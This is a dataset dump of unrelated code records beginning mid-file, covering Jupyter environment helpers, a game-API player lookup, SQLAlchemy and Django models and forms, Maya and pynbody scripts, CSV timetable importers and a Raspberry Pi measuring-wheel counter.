pd\nimport numpy as np\nfrom IPython import get_ipython\n\nfrom .frontend import Printed, HTMLCode\n\ndef getmain() -> 'module':\n '''\n getmain() -> module\n \n Returns the __main__ module.\n '''\n import __main__\n return __main__\n\ndef maineval(code: str) -> 'Any':\n '''\n maineval(code: str) -> Any\n \n Evaluates a string as code in the __main__ enviroment.\n and returns the result.\n \n Parameters:\n -----------\n code (str): String to be be evaluated.\n '''\n return eval(code, getmain().__dict__)\n \nclass EnvObj:\n '''\n EnvObj()\n \n Base class for objects that will not be used by envtodict.\n '''\n __envdontuse__ = True\n \nclass EnvDict(dict, EnvObj):\n '''\n EnvDict(a: dict)\n \n dict object that will not be used by ``envdict``\n \n Parameters:\n -----------\n a (dict): Any instance of a dict.\n '''\n pass\n\nclass EnvDf(pd.DataFrame, EnvObj):\n '''\n EnvDf(a: dict)\n \n Pandas DataFrame object that will not be used by ``envdict``.\n \n Parameters:\n -----------\n a (DataFrame): Any instance of a ``pd.DataFrame``.\n '''\n pass\n\ndef envtodict(env: 'Any') -> EnvDict:\n '''\n envtodict(env: Any) -> EnvDict\n \n Returns an ``EnvDict`` instance of the attribute names (keys)\n and corresponding values (values) from the given object.\n \n Note that attributes that meet one or more of the following\n conditions will NOT be included in the returned dictionary:\n \n - Attribute is named 'In'.\n - Attribute is named 'Out'.\n - Name of the attribute starts with '_'.\n - Attribute is an instance of the EnvObj class.\n \n Parameters:\n -----------\n env (Any): Any python object.\n \n '''\n attrs = dir(env)\n attrs = [attr for attr in attrs if (attr not in ('In', 'Out')) and (not attr.startswith('_'))]\n envdict = {attr: getattr(env, attr) for attr in attrs}\n envdict = {attr: val for attr, val in zip(envdict.keys(), envdict.values()) if not isinstance(val, EnvObj)}\n envdict = envdict.copy()\n envdict = EnvDict(envdict)\n \n return envdict\n\ndef getattrsafe(*args, default: 'Any'=None, **kwargs):\n '''\n getattrsafe(obj: Any, key: str, defalut: Any=None)\n \n Wrapper around getattr which allows for a default value\n to be returned in the event that the given object does\n not contain an attribute with the given name.\n \n Parameters:\n -----------\n obj (Any): Object from which to retrive the attribute.\n key (str): Name of the attribute to retrive.\n default (Any): Value to be returned in the event that\n ``obj`` has not attribute named ``key`` (default is \n None).\n '''\n try:\n return getattr(*args, **kwargs)\n except AttributeError:\n return default\n \ndef envtopandas(env: 'Any', \n funcs: dict={'Type': type},\n attrs: dict={'Documentation': '__doc__'}\n ) -> EnvDf:\n '''\n envtopandas(env: Any, funcs: dict={'Type': type}, \n attrs: dict={'Documentation': '__doc__'}) -> EnvDf\n \n Creates a pandas DataFrame (EnvDf) from a given object and adds\n columns extra infomation about the objects determined by the \n ``funcs`` and ``attrs`` arguments passed.\n \n Note, if the given object is not an EnvDict, ``envtodict`` will\n be used to create and EnvDict from the given object which is then\n used to create the EnvDf.\n \n Parameters\n ----------\n env (Any): Object used as/to create the EnvDict.\n funcs (dict): Mapping of column names to functions \n to be applied to the attribute values to create\n extra columns (default is ({'Type': type})).\n \n Note, the value 'Err' will be given to cells of\n these columns where applying the given function\n raises an exception.\n \n attrs (dict): Mapping of column names to attribute names\n of the attribute values used to create extra columns\n (default is {'Documentation': '__doc__'}).\n \n Note, ``getattrsafe(..., default='Err')`` is used to get \n the attributes.\n '''\n envdict = env if isinstance(env, EnvDict) else envtodict(env)\n envtups = list(zip(envdict.keys(), envdict.values()))\n envtups = None if envtups == [] else envtups \n envdf = pd.DataFrame(envtups, columns=['Variable', 'Value'])\n envdf.set_index('Variable', inplace=True)\n \n for col in funcs.keys():\n def func(*args, **kwargs):\n try:\n return funcs[col](*args, **kwargs)\n except:\n return 'Err'\n \n envdf[col] = envdf.Value.apply(func)\n \n for col in attrs.keys():\n envdf[col] = envdf.Value.apply(lambda x: getattrsafe(x, attrs[col], default=''))\n \n return EnvDf(envdf)\n\ndef envtohtmltable(env: 'Any', \n envtopandas_kwargs: dict={}, \n to_html_kwargs: dict={}) -> str:\n '''\n envtohtmltable(env: Any, envtopandas_kwargs: dict={}, \n to_html_kwargs: dict={}) -> str\n \n Creates and returns an html table from an EnvDf instance using the\n ``pandas.DataFrame.to_html`` method.\n \n Note, if env is not an EnvDf, ``envtopandas(env, **envtopandas_kwargs)`` \n will be used to create one.\n \n Parameters:\n -----------\n env (Any): Object used as/to create the EnvDf\n envtopandas_kwargs (dict): Dictionary of key word arguments to be\n passed to ``envtopandas`` to create the EnvDf. This argument is\n redundent if env is an EnvDf (default is {}).\n to_html_kwargs (dict): Dictionary of key word arguments to be passed\n to the ``pandas.DataFrame.to_html`` method to convert the EnvDf\n into HMTL code.\n '''\n envdf = env if isinstance(env, EnvDf) else envtopandas(env, **envtopandas_kwargs)\n envdf.apply(\n lambda x: x.str.replace('\\n', '|-|<|-|br|-|>|-|') if x.dtype == str else x\n )\n envhtml = envdf.to_html(**to_html_kwargs)\n \n return envhtml.replace('|-|', '')\n\n ","sub_path":"utils/.ipynb_checkpoints/backend-checkpoint.py","file_name":"backend-checkpoint.py","file_ext":"py","file_size_in_byte":6213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"377103502","text":"import requests\nimport datetime\n\ns = requests.Session()\n\napplication_id = '01832d316a2655bc17523d78862950fc'\n\nwhile True:\n print('Введите ник для поиска:')\n nickname = input()\n r = s.get(\"https://api.worldofwarplanes.ru/wowp/account/list/\", params={'application_id': application_id, 'search': nickname}).json() \n if r['status'] == 'ok'and r['count'] == 0:\n print('Не нашел такого игрока. :(')\n elif r['status'] == 'ok':\n break\n else:\n print('Поисковая строка не должна быть Null или меньше 3 символов.')\n\nif r['count'] != 0:\n account_id = [r_data['account_id'] for r_data in r['data'] if r_data['nickname'] == nickname][0]\n\n\n r = s.get('https://api.worldoftanks.ru/wot/account/info/', params={'application_id': application_id, 'account_id': account_id}).json()\n\n timestamp = [r['data'][str(account_id)]['logout_at'], r['data'][str(account_id)]['last_battle_time']] # not converted\n\n if timestamp:\n time_utc = list(map(datetime.datetime.utcfromtimestamp, timestamp))\n print('last_battle_time: ', time_utc[1])\n print('logout_at: ', time_utc[0])\n else:\n print('Пользователь не логинился в клиент.')\nelse:\n print('Нет такого игрока.')","sub_path":"UserLogoutWoWP.py","file_name":"UserLogoutWoWP.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"501664197","text":"import requests\nimport json\nimport datetime\nfrom .settings import *\n\n\nBase, session, engine = getSetting()\n\nclass Author(Base):\n __tablename__ = 'author'\n\n id = Column(Integer, primary_key=True)\n firstName = Column(String)\n lastName = Column(String)\n\n def __init__(self, firstName, lastName):\n self.firstName = firstName\n self.lastName = lastName\n\n def to_dict(self):\n row_dict = {}\n for column in self.__table__.columns:\n if isinstance(column.type, sqlalchemy.sql.sqltypes.TIMESTAMP):\n value = getattr(self, column.name)\n row_dict[column.name] = value.isoformat()\n else:\n value = getattr(self, column.name)\n row_dict[column.name] = value\n return row_dict\nclass Posts(Base):\n __tablename__ = 'posts'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n title = Column(String)\n body = Column(String)\n shortText = Column(String)\n uid = Column(Integer)\n rating = Column(Float, default=0)\n lastUpdated = Column(TIMESTAMP)\n commentsCount = Column(Integer, default=0)\n votesUp = Column(Integer, default=0)\n votesDown = Column(Integer, default=0)\n authorId = Column(Integer)\n createdAt = Column(TIMESTAMP)\n comments = relationship(\"Comments\")\n\n\n def __init_(self, title, body, shortText,uid, lastUpdated, authorId, createdAt):\n self.title = title\n self.body = body\n self.shortText = shortText\n self.uid = uid\n self.rating = 0\n self.lastUpdated = lastUpdated\n self.commentsCount = 0\n self.votesUp = 0\n self.votesDown = 0\n self.authorId = authorId\n self.createdAt = createdAt\n\n def to_dict(self):\n row_dict = {}\n for attr, value in self.__dict__.items():\n if(attr == 'comments'):\n row_dict[attr] = []\n \n for comment in value:\n row_dict[attr].append(comment.to_dict())\n\n elif(attr == 'lastUpdated' or attr == 'createdAt'):\n row_dict[attr] = value.isoformat()\n \n elif(attr != '_sa_instance_state'): # not sure how to get get rid of this\n row_dict[attr] = value\n\n \n return row_dict\nclass Comments(Base):\n __tablename__ = 'comments'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n postId = Column(Integer, ForeignKey('posts.id'))\n comment = Column(String)\n commentBy = Column(String)\n addedOn = Column(TIMESTAMP)\n\n def __init__(self, postId, comment, commentBy):\n self.postId = postId\n self.comment = comment\n self.commentBy = commentBy\n self.addedOn = datetime.datetime.now()\n\n def to_dict(self):\n row_dict = {}\n \n for attr, value in self.__dict__.items():\n if(attr == 'addedOn'):\n row_dict[attr] = '' if value == None else value.isoformat()\n \n elif(attr != '_sa_instance_state'): # not sure how to get get rid of this\n row_dict[attr] = value\n\n return row_dict\n\nclass Votes(Base):\n __tablename__ = 'votes'\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n postId = Column(Integer, ForeignKey('posts.id'))\n voteType = Column(Integer)\n addedOn = Column(TIMESTAMP)\n\n def __init__(self, postId, voteType, addedOn):\n self.postId = postId\n self.voteType = voteType\n self.addedOn = datetime.datetime.now()\n\n def to_dict(self):\n row_dict = {}\n for attr, value in self.__dict__.items():\n if(attr == 'addedOn'):\n row_dict[attr] = value.isoformat()\n \n elif(attr != '_sa_instance_state'): # not sure how to get get rid of this\n row_dict[attr] = value\n\n return row_dict\n","sub_path":"backend/src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"140735087","text":"from django import forms\r\nfrom django.contrib.auth.models import User\r\nfrom .models import Reports, Indicators, Details\r\nfrom users.models import ProfileSatker\r\n\r\n\r\nmonths = [\r\n (0, \"All\"),\r\n (1, \"January\"),\r\n (2, \"February\"),\r\n (3, \"March\"),\r\n (4, \"April\"),\r\n (5, \"May\"),\r\n (6, \"June\"),\r\n (7, \"July\"),\r\n (8, \"August\"),\r\n (9, \"September\"),\r\n (10, \"October\"),\r\n (11, \"November\"),\r\n (12, \"December\")\r\n]\r\n\r\nbulans = [\r\n (1, \"January\"),\r\n (2, \"February\"),\r\n (3, \"March\"),\r\n (4, \"April\"),\r\n (5, \"May\"),\r\n (6, \"June\"),\r\n (7, \"July\"),\r\n (8, \"August\"),\r\n (9, \"September\"),\r\n (10, \"October\"),\r\n (11, \"November\"),\r\n (12, \"December\")\r\n]\r\n\r\nyears = [\r\n (0, \"ALL\"),\r\n (2018, \"2018\"),\r\n (2019, \"2019\"),\r\n (2020, \"2020\"),\r\n (2021, \"2021\"),\r\n (2022, \"2022\"),\r\n (2023, \"2023\"),\r\n (2024, \"2024\"),\r\n (2025, \"2025\")\r\n]\r\n\r\ntahuns = [\r\n (2018, \"2018\"),\r\n (2019, \"2019\"),\r\n (2020, \"2020\"),\r\n (2021, \"2021\"),\r\n (2022, \"2022\"),\r\n (2023, \"2023\"),\r\n (2024, \"2024\"),\r\n (2025, \"2025\")\r\n]\r\n\r\nvalidated = [\r\n (0, \"ALL\"),\r\n (1, \"Sudah\"),\r\n (2, \"Belum\")\r\n]\r\n\r\nsatkers = [(-1, \"All\")]\r\nfor satker in ProfileSatker.objects.all():\r\n satkers.append((satker.id, satker.description))\r\n\r\n\r\nclass MakeReport(forms.Form):\r\n bulan = forms.ChoiceField(label=\"Bulan Laporan\", choices=bulans, widget=forms.Select())\r\n tahun = forms.ChoiceField(label=\"Tahun Laporan\", choices=tahuns, widget=forms.Select())\r\n\r\n def __init__(self, request, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n # this function is required if you want to initialized the form\r\n # to accomodate dynamic form fields and to bo able to pass current user\r\n # using request\r\n\r\n # the code below are used to generate form fields, the number of fields\r\n # are depends on the number of Indicators per Satker\r\n satker = ProfileSatker.objects.get(user=request.user)\r\n indikators = Indicators.objects.filter(satker=satker)\r\n for i in indikators:\r\n somestr = str(i.id)\r\n self.fields[somestr] = forms.IntegerField(label=i.indikator, min_value=0, max_value=100)\r\n\r\n\r\nclass EditReport(forms.Form):\r\n\r\n def __init__(self, report_id, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n details = Details.objects.filter(id_lap=report_id)\r\n for detail in details:\r\n somestr = str(detail.id)\r\n self.fields[somestr] = forms.IntegerField(label=detail.lap_indikator, min_value=0, max_value=200, widget=forms.NumberInput(attrs={'placeholder': detail.capaian}))\r\n\r\n\r\nclass ReportFilter(forms.Form):\r\n author = forms.ChoiceField(required=False, label=\"Satuan Kerja\", choices=satkers, widget=forms.Select(attrs={'onchange': 'form.submit();'}))\r\n report_month = forms.ChoiceField(label=\"Bulan Laporan\", choices=months, widget=forms.Select(attrs={'onchange': 'form.submit();'}), required=False)\r\n report_year = forms.ChoiceField(label=\"Tahun Laporan\", choices=years, widget=forms.Select(attrs={'onchange': 'form.submit();'}), required=False)\r\n validasi = forms.ChoiceField(label=\"Status Validasi\", choices=validated, initial=\"All\", widget=forms.Select(attrs={'onchange': 'form.submit();'}), required=False)\r\n\r\n\r\nclass AddComment(forms.Form):\r\n comment = forms.CharField(widget=forms.Textarea(attrs={'rows': 4, 'cols': 90}))\r\n","sub_path":"indexkinerjaunit/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"189742691","text":"################################################################################\n##\n## Binary search O(nlogK), where K is sum(weights)\n##\n################################################################################\nclass Solution:\n def shipWithinDays(self, weights: List[int], days: int) -> int:\n def canShip(weights,capacity,days):\n curr =0\n day=1\n for i in range(len(weights)):\n if curr+weights[i]<=capacity:\n curr += weights[i]\n else:\n day += 1\n curr = weights[i]\n if day>days:\n return False\n return True\n start = max(weights)\n end = sum(weights)\n while start ') \n\n#\tset cmap for key type\nif x == 'temp':\n\tc = 'YlOrRd'\nelse:\n\tc = 'Greys'\n\n#\tmake .png images\nfor line in sorted(f):\n\ts = pynbody.load(line)\t\n\tplt.ioff() \n\tsph.image(s.gas,qty=x ,width=16, title=line+' - ' + str(0.5*int(line[-5:len(line)]))+' (Myr)' ,filename=line[0:-6]+line[-5:len(line)], cmap=c, approximate_fast=False)\n\n#\tmake .gif image using all files \nos.system(\"convert -delay 20 -loop 0 *.png animation.gif\")\n\n#\tmove all figures to Figures\nos.system(\"mkdir -p Figures\")\nos.system(\"mv *.png Figures\")\nos.system(\"mv *.gif Figures\")\n","sub_path":"animate.py","file_name":"animate.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"44574381","text":"from flask import Flask\nfrom flask import request\nfrom flask import Response\nfrom flask_cors import CORS\nfrom mongo_wrapper import Entry\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/data', methods=[\"POST\"])\ndef upload_data():\n if request.method == \"POST\":\n data = request.get_json()\n print(data)\n upload_data = Entry().upload_data(data)\n if upload_data:\n return Response(status=200)\n else:\n return Response(status=400)\n\n@app.route('/', methods=[\"GET\"])\ndef hello():\n return \"Hello World\"\n","sub_path":"backend/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"314613398","text":"import os\nimport contextlib\n\nfrom maya import cmds\n\nfrom openpype.pipeline import publish\nfrom openpype.hosts.maya.api.lib import maintained_selection\n\n\nclass ExtractAssProxy(publish.Extractor):\n \"\"\"Extract proxy model as Maya Ascii to use as arnold standin\n\n\n \"\"\"\n\n order = publish.Extractor.order + 0.2\n label = \"Ass Proxy (Maya ASCII)\"\n hosts = [\"maya\"]\n families = [\"ass\"]\n\n def process(self, instance):\n\n @contextlib.contextmanager\n def unparent(root):\n \"\"\"Temporarily unparent `root`\"\"\"\n parent = cmds.listRelatives(root, parent=True)\n if parent:\n cmds.parent(root, world=True)\n yield\n self.log.info(\"{} - {}\".format(root, parent))\n cmds.parent(root, parent)\n else:\n yield\n\n # Define extract output file path\n stagingdir = self.staging_dir(instance)\n filename = \"{0}.ma\".format(instance.name)\n path = os.path.join(stagingdir, filename)\n\n # Perform extraction\n self.log.info(\"Performing extraction..\")\n\n # Get only the shape contents we need in such a way that we avoid\n # taking along intermediateObjects\n proxy = instance.data.get('proxy', None)\n\n if not proxy:\n self.log.info(\"no proxy mesh\")\n return\n\n members = cmds.ls(proxy,\n dag=True,\n transforms=True,\n noIntermediate=True)\n self.log.info(members)\n\n with maintained_selection():\n with unparent(members[0]):\n cmds.select(members, noExpand=True)\n cmds.file(path,\n force=True,\n typ=\"mayaAscii\",\n exportSelected=True,\n preserveReferences=False,\n channels=False,\n constraints=False,\n expressions=False,\n constructionHistory=False)\n\n if \"representations\" not in instance.data:\n instance.data[\"representations\"] = []\n\n representation = {\n 'name': 'ma',\n 'ext': 'ma',\n 'files': filename,\n \"stagingDir\": stagingdir\n }\n instance.data[\"representations\"].append(representation)\n\n self.log.info(\"Extracted instance '%s' to: %s\" % (instance.name, path))\n","sub_path":"openpype/hosts/maya/plugins/publish/extract_assproxy.py","file_name":"extract_assproxy.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"380986642","text":"import lxml\nimport regex\nimport pathlib\nfrom translate.storage.po import pofile\n\nsource_dir = pathlib.Path('../').resolve()\n\npo_dir = source_dir / 'po_text/'\n\nfiles = list(po_dir.glob('**/*.po'))\n\nfor filepath in files:\n if filepath.stem == 'info':\n continue\n po = pofile(filepath.open('r'))\n\n for i, entry in enumerate(po.units):\n if any(msgid.startswith('\"Evaṃ me sutaṃ') for msgid in entry.msgid):\n print(entry.msgid)\n if 'evam' not in ''.join(entry.automaticcomments):\n entry.automaticcomments += '#. \\n'\n po.units[i+1].automaticcomments.insert(0, '#. \\n')\n po.save()\n continue","sub_path":".scripts/fix_evam.py","file_name":"fix_evam.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"88297781","text":"import csv\nimport time\nfrom datetime import datetime\nimport datetime\nfrom dateutil import parser\nimport os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"StudentskiServis.settings\")\nimport django\ndjango.setup()\n\nfrom csv import reader\nfrom studserviceapp.models import Grupa, Nastavnik, Termin, RasporedNastave, Predmet, Nalog, Semestar, IzborGrupe, IzbornaGrupa,RasporedPolaganja,TerminPolaganja\n\ndef razdvojImeiPrezime(s):\n\n s = s.strip()\n l = -len(s)\n for i in range(-1, l, -1):\n p = s[0:i]\n if p[len(p) - 1] == ' ': #vraca prvi element niza ime, a drugi prezime\n p = p[0:-1]\n break;\n return s[len(p) + 1:], p\n\n\n\ndef napraviUsername(ime, prezime):\n\n i = ime[0].lower()\n p = prezime.replace(' ','').lower() #vraca strig za username profesora\n return i+p\n\ndef razdvojGrupe(grupe):\n\n return grupe.split(', ')\n\ndef razdvojVreme(vreme):\n\n return vreme.split('-')\n\n\ndef import_kolokvijum_from_csv(file_path,kolokvijumska_nedelja):\n RasporedPolaganja.objects.all().delete()\n TerminPolaganja.objects.all().delete()\n raspored_polaganja = RasporedPolaganja(kolokvijumska_nedelja=kolokvijumska_nedelja)\n raspored_polaganja.save()\n dani = ['Ponedeljak','Utorak','Sreda','Četvrtak','Petak','Subota','Nedelja']\n lines = file_path.split('\\n')\n lines = lines[1::]\n brojac = 2\n greske = {}\n neispravni_termini = {}\n detektor_greske = False\n\n for red in reader(lines):\n #izvlacimo predmet - red[0]\n predmet = None\n nastavnik = None\n try:\n predmet = Predmet.objects.get(naziv=red[0])\n except Predmet.DoesNotExist:\n detektor_greske = True\n lista = []\n if greske.get(brojac) is None:\n lista.append('Ne postoji predmet u bazi')\n else:\n lista = greske.get(brojac)\n lista.append('Ne postoji predmet u bazi')\n greske.setdefault(brojac, lista)\n\n #provera za zareze\n if red[1]!='' and red[2]!='':\n detektor_greske = True\n lista = []\n if greske.get(brojac) is None:\n lista.append('Greska sa zarezima')\n else:\n lista = greske.get(brojac)\n lista.append('Greska sa zarezima')\n greske.setdefault(brojac, lista)\n\n #izvlacimo ime profesora - red[3]\n profesori = red[3].split(\",\")\n for p in profesori:\n imeiprezime = razdvojImeiPrezime(p)\n ime = imeiprezime[0]\n prezime = imeiprezime[1]\n try:\n nastavnik = Nastavnik.objects.get(ime=ime,prezime=prezime)\n except Nastavnik.DoesNotExist:\n try:\n nastavnik = Nastavnik.objects.get(ime=prezime, prezime=ime)\n except Nastavnik.DoesNotExist:\n detektor_greske = True\n lista = []\n if greske.get(brojac) is None:\n lista.append('Ne postoji nastavnik u bazi')\n else:\n lista = greske.get(brojac)\n lista.append('Ne postoji nastavnik u bazi')\n greske.setdefault(brojac, lista)\n\n #izvlacimo ucionica - red[4]\n ucionice = red[4].strip()\n if ucionice=='':\n detektor_greske = True\n ucionice = None\n lista = []\n if greske.get(brojac) is None:\n lista.append('Niste uneli ucionice')\n else:\n lista = greske.get(brojac)\n lista.append('Niste uneli ucionice')\n greske.setdefault(brojac, lista)\n\n #izvlacimo vreme - red[5]\n vreme = razdvojVreme(red[5])\n if int(vreme[0])>24 or int(vreme[1])>24 or int(vreme[0])>int(vreme[1]):\n detektor_greske = True\n pocetak = None\n kraj = None\n lista = []\n if greske.get(brojac) is None:\n lista.append('Greska sa unosom vremena')\n else:\n lista = greske.get(brojac)\n lista.append('Greska sa unosom vremena')\n greske.setdefault(brojac, lista)\n else:\n pocetak = vreme[0] + ':00'\n kraj = vreme[1] + ':00'\n\n #izvlacimo dan - red[6]/////NIJE U MODELU\n dan = red[6]\n if dan not in dani:\n detektor_greske = True\n dan = None\n lista = []\n if greske.get(brojac) is None:\n lista.append('Pogresan dan')\n else:\n lista = greske.get(brojac)\n lista.append('Pogresan dan')\n greske.setdefault(brojac, lista)\n\n #izvlacimo datum - red[7]\n datumcsv = red[7].split('.')\n datum = datumcsv[0]+'/'+datumcsv[1]+'/'+str(datetime.datetime.today().year)\n try:\n datum = datetime.datetime.strptime(datum,'%d/%m/%Y').date()\n except:\n detektor_greske = True\n datum = None\n lista = []\n if greske.get(brojac) is None:\n lista.append('Pogresan datum')\n else:\n lista = greske.get(brojac)\n lista.append('Pogresan datum')\n greske.setdefault(brojac, lista)\n\n\n if detektor_greske:\n lista_gresaka = []\n lista_gresaka.append(ucionice)\n lista_gresaka.append(pocetak)\n lista_gresaka.append(kraj)\n lista_gresaka.append(datum)\n lista_gresaka.append(raspored_polaganja)\n lista_gresaka.append(predmet)\n lista_gresaka.append(nastavnik)\n neispravni_termini.setdefault(brojac, lista_gresaka)\n detektor_greske=False\n else:\n t = TerminPolaganja(ucionice=ucionice,pocetak=pocetak,zavrsetak=kraj,datum=datum,raspored_polaganja=raspored_polaganja,predmet=predmet,nastavnik=nastavnik)\n t.save()\n brojac+=1\n\n return greske,neispravni_termini\n\n\n\ndef import_timetable_from_csv(file_path):\n with open(file_path,encoding='utf-8') as csvfile:\n raspored_csv = csv.reader(csvfile, delimiter=';')\n next(raspored_csv, None)\n next(raspored_csv, None)\n a = 1\n b = 0\n skupNastavnika = set()\n skupGrupa = set()\n semester = Semestar(vrsta='neparni', skolska_godina_pocetak=2018, skolska_godina_kraj=2019)\n semester.save()\n rasporedNastave = RasporedNastave(datum_unosa=datetime.datetime.today(), semestar=semester)\n rasporedNastave.save()\n for _red in raspored_csv:\n if b == 1:\n b = 0\n continue\n if not _red:\n a = 1\n continue\n if a == 1:\n stringPredmet = _red[0]\n predmet = Predmet.objects.create(naziv=stringPredmet)\n predmet.save()\n a = 0\n b = 1\n else:\n i = 1\n while i < 32:\n if _red[i] == '':\n i = i + 8\n continue\n else:\n if i == 1:\n tip = 'predavanja'\n else:\n if i == 9:\n tip = 'praktikum'\n else:\n if i == 17:\n tip = 'vezbe'\n else:\n tip = 'predavanjavezbe'\n stringNastavnik = _red[i]\n imePrezime = razdvojImeiPrezime(stringNastavnik)\n if stringNastavnik not in skupNastavnika:\n skupNastavnika.add(stringNastavnik)\n #jos razdvajanje stringa i pravljenje objekta nastavnik i njegov nalog\n username = napraviUsername(imePrezime[0],imePrezime[1])\n nalog = Nalog(username=username, uloga='nastavnik')\n nalog.save()\n nastavnik = Nastavnik(ime=imePrezime[0],prezime=imePrezime[1],nalog=nalog)\n nastavnik.save()\n nastavnik = Nastavnik.objects.get(ime=imePrezime[0],prezime=imePrezime[1])\n if predmet not in nastavnik.predmet.all():\n nastavnik.predmet.add(predmet)\n nastavnik.save()\n\n i = i + 2\n stringOdeljenja = _red[i]\n odeljenja = razdvojGrupe(stringOdeljenja)\n\n #razdvojiti odeljenja iz stringa\n i = i + 2\n dan = _red[i]\n i = i + 1\n stringVreme = _red[i]\n vreme = razdvojVreme(stringVreme)\n pocetak = vreme[0]\n kraj = vreme[1]+':00'\n #razdvojiti na pocetak i kraj\n i = i + 1\n ucionica = _red[i]\n termin = Termin(oznaka_ucionice=ucionica, pocetak=pocetak, zavrsetak=kraj, dan=dan,tip_nastave=tip,nastavnik=nastavnik,predmet=predmet, raspored=rasporedNastave)\n termin.save()\n for g in odeljenja:\n if g not in skupGrupa:\n skupGrupa.add(g)\n o = Grupa.objects.create(oznaka_grupe=g,semestar=semester)\n o = Grupa.objects.get(oznaka_grupe=g,semestar=semester)\n termin.grupe.add(o)\n termin.save()\n i = i + 2\n\n\n\n\n#IzborGrupe.objects.all().delete()\n#IzbornaGrupa.objects.all().delete()\n#Semestar.objects.all().delete()\n#RasporedNastave.objects.all().delete()\n#Grupa.objects.all().delete()\n#Nastavnik.objects.all().delete()\n#Termin.objects.all().delete()\n#Predmet.objects.all().delete()\n#Nalog.objects.all().delete()\n\n#import_timetable_from_csv('rasporedCSV.csv')\n","sub_path":"parseCSV.py","file_name":"parseCSV.py","file_ext":"py","file_size_in_byte":10118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"146220258","text":"import gpiozero\nfrom signal import pause\nfrom datetime import datetime\nfrom decimal import Decimal\n\n# Returns a datetime object\ndateTimeObj = datetime.now(tz=None)\nprint(\"started at \" + str(dateTimeObj))\n\n# Defines GPIO pins for buttons on wheel handle. These handle default to high voltage, drops when button pressed. Only the clear button is currently in use.\nmft = gpiozero.DigitalInputDevice(16, pull_up=True)\nsm = gpiozero.DigitalInputDevice(26, pull_up=True)\n# rm = gpiozero.DigitalInputDevice(20, pull_up=True)\nclear = gpiozero.DigitalInputDevice(21, pull_up=True)\npower = gpiozero.DigitalInputDevice(19, pull_up=True)\n\n# Sets up measurement unit conversions\nunits = \"m\"\nunit_multiplier = 1\n\n# Note: This script doesn't track the state of the wheel's display (on/off) bc we don't know whether it's on or off when the counting script starts. That means it will still log measurements when the wheel is spinning but the display is off, though turning the wheel on will clear the current measurement back to zero.\n\n# Defines Hall Effect sensor pins and calculates distance. The Hall Effect sensors default to high, when magnet passes they drop to low.\ngreen = gpiozero.DigitalInputDevice(18, pull_up=True)\nyellow = gpiozero.DigitalInputDevice(17, pull_up=True)\ndistance_decimetres = 0\nprevious_yellow = yellow.value\nprevious_green = green.value\n\ndef update_distance_metres():\n global distance_decimetres\n global units\n global unit_multiplier\n\n if yellow.value == 0:\n distance_decimetres = distance_decimetres + 1\n elif yellow.value == 1:\n distance_decimetres = distance_decimetres - 1\n if distance_decimetres <= 0:\n distance_decimetres = 0\n print(str(Decimal(distance_decimetres/10*unit_multiplier).quantize(Decimal(\"1e-1\"))) + \" \" + units + \", \" + str(datetime.now(tz=None)))\n\ngreen.when_deactivated = update_distance_metres\n\n# Clear and power buttons reset counter to 0\ndef clear_distance():\n global distance_decimetres\n global units\n global unit_multiplier\n\n distance_decimetres = 0\n \n print(str(Decimal(distance_decimetres/10*unit_multiplier).quantize(Decimal(\"1e-1\"))) + \" \" + units + \", \" + str(datetime.now(tz=None)))\n\nclear.when_deactivated = clear_distance\npower.when_deactivated = clear_distance\n\n# SM button logs a measurement\ndef log_measurement():\n global distance_decimetres\n global units\n global unit_multiplier\n\n if sm.value == 0:\n print(\"log measurement \" + str(Decimal(distance_decimetres/10*unit_multiplier).quantize(Decimal(\"1e-1\"))) + \" \" + units + \", \" + str(datetime.now(tz=None)))\n\nsm.when_deactivated = log_measurement\n\n# Switch between metres and feet to stay in sync with the device\n\ndef switch_units():\n global units\n global unit_multiplier\n\n if units == \"m\":\n units = \"ft\"\n unit_multiplier = 3.28084\n elif units == \"ft\":\n units = \"m\"\n unit_multiplier = 1\n print(str(Decimal(distance_decimetres/10*unit_multiplier).quantize(Decimal(\"1e-1\"))) + \" \" + units + \", \" + str(datetime.now(tz=None)))\n\nmft.when_deactivated = switch_units\n\npause()\n","sub_path":"parity_wiring_and_scripts/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"560560416","text":"\n'''\nfrom classes.simline_sim.simline_sim import SimlineSim\n\nz_B1 = SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_B1Z.fits')\ny_B1 = SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_B1Y.fits')\nx_B1 = SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_B1X.fits')\n\n\nz_Bpt1 = SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_Bpt1Z.fits')\ny_Bpt1 = SimlineSim('/home/amadrid/Desktop/Astro_Stuff/Simline/simline_Bpt1Y.fits')\nx_Bpt1 = 